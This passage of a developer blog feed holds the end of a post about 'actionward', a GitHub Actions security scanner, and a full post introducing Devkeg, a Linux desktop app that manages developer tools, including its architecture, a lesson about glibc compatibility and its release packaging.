&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the handful of findings you've reviewed and consciously accept, there's a&lt;br&gt;
project-level &lt;strong&gt;&lt;code&gt;.actionward.yml&lt;/code&gt;&lt;/strong&gt; config and an inline &lt;strong&gt;&lt;code&gt;# actionward:ignore&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
comment for a single line. No editing source to silence a rule globally when you&lt;br&gt;
only meant to accept one case.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where it's going
&lt;/h2&gt;

&lt;p&gt;v0.1.0 is deliberately small: scan, explain, gate - offline. On the roadmap are&lt;br&gt;
an &lt;strong&gt;auto-fix&lt;/strong&gt; mode (apply the &lt;code&gt;env:&lt;/code&gt; rewrite for you) and &lt;strong&gt;SHA pinning&lt;/strong&gt;&lt;br&gt;
assistance so the fixes above become one command instead of a manual edit. Those&lt;br&gt;
aren't shipped yet; the 14 rules and SARIF output are.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Repo: &lt;strong&gt;&lt;a href="https://github.com/jay-tank/actionward" rel="noopener noreferrer"&gt;https://github.com/jay-tank/actionward&lt;/a&gt;&lt;/strong&gt; - clone, &lt;code&gt;go build&lt;/code&gt;, &lt;code&gt;scan .&lt;/code&gt;,&lt;br&gt;
and see what your workflows have been hiding.&lt;/p&gt;

&lt;p&gt;If you want the background on &lt;em&gt;why&lt;/em&gt; each rule exists, GitHub's own&lt;br&gt;
&lt;a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions" rel="noopener noreferrer"&gt;security hardening for GitHub Actions&lt;/a&gt;&lt;br&gt;
is the canonical reference and pairs well with running the scanner.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Jay Tank&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cli</category>
      <category>github</category>
      <category>security</category>
      <category>tooling</category>
    </item>
    <item>
      <title>I built Devkeg: a desktop control center for your dev tools</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Wed, 29 Jul 2026 04:01:57 +0000</pubDate>
      <link>https://dev.to/jaytank/i-built-devkeg-a-desktop-control-center-for-your-dev-tools-mg2</link>
      <guid>https://dev.to/jaytank/i-built-devkeg-a-desktop-control-center-for-your-dev-tools-mg2</guid>
      <description>&lt;p&gt;Setting up a fresh developer machine is death by a thousand commands. You hunt down install&lt;br&gt;
instructions, juggle &lt;code&gt;apt&lt;/code&gt;, &lt;code&gt;dnf&lt;/code&gt;, &lt;code&gt;pacman&lt;/code&gt;, &lt;code&gt;brew&lt;/code&gt;, and &lt;code&gt;curl | bash&lt;/code&gt;, patch your &lt;code&gt;PATH&lt;/code&gt;, and then&lt;br&gt;
spend the next six months quietly fighting version drift. There's no single, friendly place that just&lt;br&gt;
tells you &lt;em&gt;what's installed, what's outdated, and how to fix it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So I built one. It's called &lt;strong&gt;Devkeg&lt;/strong&gt; — a desktop app that detects, installs, updates, and&lt;br&gt;
uninstalls your developer and DevOps tools from one clean UI.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — Devkeg is a Linux desktop app (Tauri + Rust + SvelteKit) that puts a GUI on top of&lt;br&gt;
proven package managers (&lt;code&gt;mise&lt;/code&gt; + your distro's) instead of reinventing installers. Open source:&lt;br&gt;
&lt;strong&gt;&lt;a href="https://github.com/jay-tank/devkeg" rel="noopener noreferrer"&gt;https://github.com/jay-tank/devkeg&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  The problem: your toolchain has no dashboard
&lt;/h2&gt;

&lt;p&gt;Every other part of your stack has a dashboard — your cloud bill, your CI, your observability. But&lt;br&gt;
the tools &lt;em&gt;on your own machine&lt;/em&gt; live in a fog. Which are installed? Which are behind? The CLI tools&lt;br&gt;
that manage this (&lt;code&gt;mise&lt;/code&gt;, &lt;code&gt;asdf&lt;/code&gt;, distro managers) are powerful but CLI-only and fragmented. There's&lt;br&gt;
no visual control center. That's the gap Devkeg fills.&lt;/p&gt;
&lt;h2&gt;
  
  
  The one decision that shaped everything: orchestrate, don't reinvent
&lt;/h2&gt;

&lt;p&gt;The tempting mistake is to write your own installers for 20+ tools — a bottomless pit of edge cases,&lt;br&gt;
and every line a way to break someone's machine. Devkeg does the opposite. It's an &lt;strong&gt;orchestration&lt;br&gt;
layer over proven backends&lt;/strong&gt;: &lt;a href="https://mise.jdx.dev" rel="noopener noreferrer"&gt;mise&lt;/a&gt; for languages/runtimes/tools in user&lt;br&gt;
space, and your distro's package manager for system packages. Devkeg's job is the &lt;em&gt;experience&lt;/em&gt; — not&lt;br&gt;
reimplementing what mise and apt already do well. Every install path we &lt;strong&gt;don't&lt;/strong&gt; write is a bug our&lt;br&gt;
users can't hit.&lt;/p&gt;
&lt;h2&gt;
  
  
  Architecture
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0pjwn7juj0q60x7ez4e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0pjwn7juj0q60x7ez4e4.png" alt=" " width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Adding a new tool doesn't touch the core — it's just a small TOML file (data, not code):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="c"&gt;# registry/kubectl.toml&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"kubectl"&lt;/span&gt;
&lt;span class="py"&gt;category&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"container"&lt;/span&gt;
&lt;span class="py"&gt;detect_cmd&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"kubectl"&lt;/span&gt;
&lt;span class="py"&gt;detect_args&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"--client"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="py"&gt;backend&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"distro"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why Tauri instead of Electron
&lt;/h2&gt;

&lt;p&gt;The UI is web tech, so Electron was the obvious default. I didn't use it. For a developer tool,&lt;br&gt;
footprint is a feature: a comparable Electron app ships ~120 MB and idles at 200 MB+ RAM; the&lt;br&gt;
equivalent &lt;strong&gt;Tauri&lt;/strong&gt; build is a &lt;strong&gt;~4 MB binary&lt;/strong&gt; on the system WebView. Shipping a bloated app to&lt;br&gt;
manage other apps would be a bad look — and Tauri's Rust core gives safe subprocess handling for free.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reliability: the boring guarantees that matter
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;User-space first.&lt;/strong&gt; Prefer mise (installs to &lt;code&gt;~/.local&lt;/code&gt;) so most actions need no root. When
elevation is genuinely required, prompt explicitly via &lt;code&gt;pkexec&lt;/code&gt; — never silently &lt;code&gt;sudo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify everything.&lt;/strong&gt; After each install/update, Devkeg re-detects the tool and confirms it runs,
returning a structured result. No silent half-installs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Correct root detection.&lt;/strong&gt; The elevation decision uses the real effective UID (&lt;code&gt;geteuid()&lt;/code&gt;), not
brittle environment guesses.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  A lesson that cost me a rebuild: the glibc trap
&lt;/h2&gt;

&lt;p&gt;I built the &lt;code&gt;.deb&lt;/code&gt; on Ubuntu 24.04, it worked in my container, then refused to launch on Ubuntu 22.04:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;devkeg: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.39' not found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;glibc is &lt;strong&gt;forward&lt;/strong&gt;-compatible, not backward — a binary built against 24.04's glibc (2.39) can't run&lt;br&gt;
on 22.04's (2.35). The rule:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Build release binaries on the oldest distro you intend to support.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I moved the release build to Ubuntu 22.04 and pinned it in CI (&lt;code&gt;runs-on: ubuntu-22.04&lt;/code&gt;) so the mistake&lt;br&gt;
can't return.&lt;/p&gt;

&lt;h2&gt;
  
  
  Packaging and CI
&lt;/h2&gt;

&lt;p&gt;Devkeg ships as a &lt;strong&gt;.deb&lt;/strong&gt; and an &lt;strong&gt;AppImage&lt;/strong&gt;, built by GitHub Actions. A &lt;code&gt;v*&lt;/code&gt; tag triggers a&lt;br&gt;
workflow that builds both on Ubuntu 22.04 and attaches them to the GitHub Release. Third-party actions&lt;br&gt;
are pinned to commit SHAs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;p&gt;v0.1 is the "control center": detect + install/update/uninstall across ~17 tools. Next up: environment&lt;br&gt;
profiles with export/import, health checks and recommendations, a community plugin registry, then&lt;br&gt;
macOS (the backends are already OS-isolated).&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Devkeg is open source (MIT). Grab the &lt;code&gt;.deb&lt;/code&gt; or AppImage from the releases page, or read the code:&lt;br&gt;
&lt;strong&gt;&lt;a href="https://github.com/jay-tank/devkeg" rel="noopener noreferrer"&gt;https://github.com/jay-tank/devkeg&lt;/a&gt;&lt;/strong&gt;. If you build developer tools, I'd love feedback on the&lt;br&gt;
"orchestrate, don't reinvent" bet the whole project rests on.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>rust</category>
      <category>tauri</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
